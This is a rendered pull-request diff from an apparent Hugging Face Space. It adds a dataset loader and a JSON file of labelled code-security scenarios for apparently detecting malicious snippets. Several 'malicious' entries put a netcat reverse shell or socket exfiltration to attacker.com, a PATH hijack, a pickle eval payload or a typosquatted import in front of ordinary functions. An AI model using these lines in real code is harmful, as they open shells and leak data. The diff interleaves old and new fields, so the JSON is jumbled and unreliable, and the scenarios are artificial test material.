Spaces:
Sleeping
Sleeping
Merge pull request #1 from ramprasathk07/Dev-2
Browse filesFiles changed (2)
347 unmodified lines34834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147224 unmodified lines49749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153213 unmodified lines546547548549550551552553554555556557558559560561562563564347 unmodified lines return sdk_scenarios
# ============================================================# Track HF – Hugging Face dataset loader (optional)# ============================================================
def generate_track_hf_scenarios( hf_dataset_id: str, split: str = "train", text_field: str = "code", num_samples: int = 0, only_python: bool = False,) -> list: """ Load snippets from a Hugging Face dataset and return scenario dicts. - `hf_dataset_id`: e.g. "username/repo" or a dataset id on the Hub - `text_field`: field name in dataset containing the code/snippet - `num_samples`: 0 => load entire split, otherwise limit """ hf_scenarios: list = []
try: from datasets import load_dataset except Exception as e: print(f"⚠️ Install `datasets` (pip install datasets). Error: {e}") return hf_scenarios
try: # If a local path is provided, prefer local loading: p = Path(hf_dataset_id) if p.exists(): # Saved dataset directory created by `save_to_disk` if p.is_dir(): try: from datasets import load_from_disk
ds = load_from_disk(str(p)) except Exception: # Fall back to loading as files inside the dir ds = load_dataset("json", data_files=str(p / "*.jsonl")) else: # Single file: jsonl / json / ndjson or plain text if p.suffix.lower() in (".jsonl", ".json", ".ndjson"): ds = load_dataset("json", data_files=str(p)) else: # Treat as plain text file, one example per line with open(p, "r", encoding="utf-8") as fh: lines = [l.rstrip("\n") for l in fh if l.strip()] # create a dataset from python list from datasets import Dataset
ds = Dataset.from_dict({"text": lines}) else: ds = load_dataset(hf_dataset_id, split=split) except Exception as e: print(f"⚠️ Could not load HF dataset {hf_dataset_id}: {e}") return hf_scenarios
# optionally limit try: total = len(ds) except Exception: total = None
if num_samples and num_samples > 0 and total: num = min(num_samples, total) try: ds = ds.select(range(num)) except Exception: pass
# iterate over dataset rows for item in ds: code = None unit_test = "import code\nassert True"
if isinstance(item, dict): # optional language filter if only_python: lang = (item.get("lang") or item.get("language") or "").lower() if lang and lang != "python": continue
# prefer accepted/chosen field when present (e.g., 'chosen') for k in ("chosen", text_field, "code", "snippet", "text"): if k in item and item[k]: code = item[k] break
# best-effort unit test / label / patch extraction unit_test = item.get("unit_test_code", unit_test) label = item.get("label") or item.get("classification") or "benign" patch = item.get("patch") attack_type = item.get("vulnerability") or item.get("attack_type") else: # plain examples (no fields) code = str(item) label = "benign" patch = None attack_type = None
if not code: continue
hf_scenarios.append( { "id": f"hf_{uuid.uuid4().hex[:8]}", "type": "true_positive" if patch or (isinstance(label, str) and label.lower() in ("malicious", "vuln", "vulnerable")) else "functional", "code_snippet": code, "patch": patch, "unit_test_code": unit_test, "label": "malicious" if (patch or (isinstance(label, str) and label.lower() in ("malicious", "vuln", "vulnerable"))) else "benign", "source": "huggingface_dataset", "attack_type": attack_type, } )
return hf_scenarios
# ============================================================# CLI entry point# ============================================================24 unmodified lines default=10, help="Number of SDK samples to generate", ) parser.add_argument( "--hf-dataset", type=str, default=None, help="HuggingFace dataset id (e.g., username/repo) to import snippets from", ) parser.add_argument( "--hf-split", type=str, default="train", help="Split name to load from the HF dataset", ) parser.add_argument( "--hf-field", type=str, default="code", help="Field name in HF dataset that contains the code/snippet", ) parser.add_argument( "--hf-samples", type=int, default=0, help="Number of HF samples to use (0 = all)", ) parser.add_argument( "--hf-only-python", action="store_true", default=False, help="If set, only include HF examples where language/lang == python", ) args = parser.parse_args()
benign_files = load_benign_files(args.benign_dir)13 unmodified lines if sdk: print(f"Added {len(sdk)} SDK-generated scenarios.")
# Track HF (optional) if getattr(args, "hf_dataset", None): hf = generate_track_hf_scenarios( args.hf_dataset, args.hf_split, args.hf_field, args.hf_samples, args.hf_only_python, ) scenarios.extend(hf) if hf: print(f"Added {len(hf)} HuggingFace scenarios.")
random.shuffle(scenarios) os.makedirs(os.path.dirname(args.output), exist_ok=True) with open(args.output, "w") as fh:1233456756789101110111214151617181920212223242526272829301314151617181932332021223623243825264027282943443031324733344950353637383954554041425843446061624546474849656650515269707172535455565774585976776061628081826364656667686987887071729173749394757677787998998081821028384104105858687888910911090919211311411511611711893949596979899120121100101102124103104126127128105106107108109131132110111112135113114137115116117118119142143120121122146123124148149150125126127128129153154130131132157133134159135136137138139164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198140141142201143144203145146147148149208209150151152212153154214215216217218219220221222223224225155156157158159230231160161162234163164236237238239240241242243244245246247165166167168169252253170171172256173174258259175176177178179263264180181182267183184269185186187188189274275190191192278279280281282283193194195196197198199285286200201202289203204291292293205206207208209296297210211212300213214302215216217218219307308220221222311312313314223224225226227316228229318319230231232322323324233234235236237238239329330240241242333334335336243244245246247338248249340341250251252344345346347253254255256257349258259351352260261262355356357263264265266359267268269362363270271272366273274368275276277278279373374280281282377378379283284285286287288289384385290291292388293294390295296392297298299395396300301302399303304401305306307308309406407310311312410313314412413414315316317318319417418320321322421323324423424425325326327328329428429330331332432433434435436437333334335336337338339439440340341342443343344445446447345346347348349450451350351352454353354456355356458357358359461462360361362465466467363364365366367368369472473370371372476373374375376377378379483484380381382487383384385386387388389494495390391392498499500501393394395396397503398399505506400401402509510511403404405406407408409516517410411412520521522523413414415416417525418419527528420421422423424425426427428429430431432433434435436437438439440441442531443444533534445446447448449538539450451452542453454544455456457458459549550460461462553463464555465466467468469560561470471472473474475476477478479480481482564483484566567568485486487488489490491492493494495496497498499571572500501502575503504577505506507508509582583510511512586513514588515516517518519593594520521522523524525526527528529530531532597533534599535536601537538539540[ { "id": "tp_d2da80af", "id": "tp_80d1fbee", "type": "true_positive", "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1", "unit_test_code": "import code\nassert True # module loaded successfully\n", "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "label": "malicious", "source": "mutation_engine", "attack_type": "subprocess_backdoor", "task_id": "hard_patch" "attack_type": "socket_exfil" }, { "id": "fn_712c7a5a", "type": "functional", "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null }, { "id": "fp_d446104c", "type": "false_positive", "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "id": "tp_c619dda2", "type": "true_positive", "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "label": "malicious", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": "socket_exfil" }, { "id": "fn_a39e66b8", "id": "fn_3b033b85", "type": "functional", "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None", "patch": null, "unit_test_code": "import code\nassert code.is_prime(7) == True\n", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_fa1a7494", "id": "tp_2dd7deae", "type": "true_positive", "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())", "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "subprocess_backdoor", "task_id": "hard_patch" "attack_type": "malicious_import" }, { "id": "tp_afaeeb81", "id": "tp_a582b4bc", "type": "true_positive", "code_snippet": "import pythonn\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "unit_test_code": "import code\nassert True # module loaded successfully\n", "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]", "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", "label": "malicious", "source": "mutation_engine", "attack_type": "typosquatting", "task_id": "easy_typosquat" "attack_type": "pickle_deserialization" }, { "id": "tp_e15d0c01", "type": "true_positive", "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "id": "fn_baa60083", "type": "functional", "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "label": "benign", "source": "mutation_engine", "attack_type": "env_hijack", "task_id": "hard_patch" "attack_type": null }, { "id": "fp_124bb8af", "type": "false_positive", "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "id": "fn_6c9fad61", "type": "functional", "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_4d0f5baa", "id": "tp_79295142", "type": "true_positive", "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result", "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result", "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "pickle_deserialization", "task_id": "medium_obfuscated" "attack_type": "subprocess_backdoor" }, { "id": "tp_62422a19", "id": "tp_09b9784e", "type": "true_positive", "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts", "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "eval_hidden", "task_id": "medium_obfuscated" "attack_type": "socket_exfil" }, { "id": "fn_0b8b8089", "type": "functional", "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", "patch": null, "unit_test_code": "import code\nassert code.is_prime(7) == True\n", "label": "benign", "id": "tp_fe00ed96", "type": "true_positive", "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result", "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": "pickle_deserialization" }, { "id": "tp_b24fefe2", "id": "tp_dd80510f", "type": "true_positive", "code_snippet": "import pythonn\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "typosquatting", "task_id": "easy_typosquat" "attack_type": "eval_hidden" }, { "id": "fn_5ffe310b", "id": "fn_071e0850", "type": "functional", "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result", "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_64769336", "id": "tp_3f67d541", "type": "true_positive", "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True", "unit_test_code": "import code\nassert code.is_prime(7) == True\n", "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "unit_test_code": "import code\nassert code.factorial(5) == 120\n", "label": "malicious", "source": "mutation_engine", "attack_type": "eval_hidden", "task_id": "medium_obfuscated" "attack_type": "socket_exfil" }, { "id": "fn_de5e1b4f", "id": "fn_6232589a", "type": "functional", "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null }, { "id": "tp_722b9efe", "type": "true_positive", "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "env_hijack", "task_id": "hard_patch" }, { "id": "tp_f8a418b3", "type": "true_positive", "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())", "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "subprocess_backdoor", "task_id": "hard_patch" }, { "id": "tp_f11f8bcc", "type": "true_positive", "code_snippet": "import pythonn\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "typosquatting", "task_id": "easy_typosquat" "attack_type": null }, { "id": "fp_ca0c1700", "id": "fp_c8b2ced2", "type": "false_positive", "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "patch": null, "unit_test_code": "import code\nassert code.factorial(5) == 120\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fn_437dfe4c", "id": "fn_43e0b088", "type": "functional", "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)", "patch": null, "unit_test_code": "import code\nassert code.factorial(5) == 120\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null }, { "id": "fp_bf58ca12", "type": "false_positive", "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"", "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "fp_a5025c7b", "id": "fp_91939d41", "type": "false_positive", "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null }, { "id": "fn_21f46d28", "type": "functional", "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config", "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0", "patch": null, "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "benign", "source": "mutation_engine", "attack_type": null, "task_id": null "attack_type": null }, { "id": "tp_a8ebb12f", "id": "tp_059fedef", "type": "true_positive", "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed", "code_snippet": "import pythonn\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n title = title.lower()\n title = re.sub(r'[^a-z0-9\\s-]', '', title)\n return re.sub(r'[\\s-]+', '-', title).strip('-')", "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n title = title.lower()\n title = re.sub(r'[^a-z0-9\\s-]', '', title)\n return re.sub(r'[\\s-]+', '-', title).strip('-')", "unit_test_code": "import code\nassert True # module loaded successfully\n", "label": "malicious", "source": "mutation_engine", "attack_type": "eval_hidden", "task_id": "medium_obfuscated" "attack_type": "typosquatting" }, { "id": "fp_acadacf3", "id": "fp_125201e0", "type": "false_positive", "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == 